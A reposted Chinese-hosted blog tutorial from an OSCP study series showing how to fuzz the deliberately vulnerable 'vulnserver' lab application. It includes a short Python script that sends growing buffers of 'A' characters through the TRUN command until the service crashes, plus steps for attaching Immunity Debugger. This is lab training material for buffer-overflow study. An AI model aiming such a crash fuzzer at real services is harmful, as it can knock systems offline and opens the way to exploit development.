码迷,mamicode.com
首页 > 其他好文 > 详细

OSCP Security Technology - Fuzzing

时间:2021-06-28 19:14:54      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:image   att   cos   nload   img   corn   append   png   usr   

OSCP Security Technology - Fuzzing

Download vulnserver from the grey corner website.

https://thegreycorner.com/vulnserver.html

技术图片

技术图片

Download immunity debugger from here.

https://www.immunityinc.com/products/debugger/

nc -nv 192.168.2.21 9999

Kali

技术图片

Vulserver

技术图片

nano fuzzer.py
chmod 777 fuzzer.py
./fuzzer.py
#!/usr/bin/python
import socket
import sys

buffer=["A"]
counter=100
while len(buffer) <= 30:
    buffer.append("A"*counter)
    counter=counter+200

for string in buffer:
    print "Fuzzing vulnserver with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((‘192.168.2.21‘,9999))
    s.send((‘TRUN /.:/‘ + string))
    s.close()

Create and run the fuzzer script.

技术图片

The vulserver is crashed now.

技术图片

Debug and watch what will happen.

Install and open Immunity Debugger.

技术图片

Attach vulnserver.

技术图片

Run the debugger.

技术图片

Run the fuzzer.py script on Kali Linux again.

技术图片

The vulnserver is crashed and the debugger is paused.

技术图片

OSCP Security Technology - Fuzzing

标签:image   att   cos   nload   img   corn   append   png   usr   

原文地址:https://www.cnblogs.com/keepmoving1113/p/14939481.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!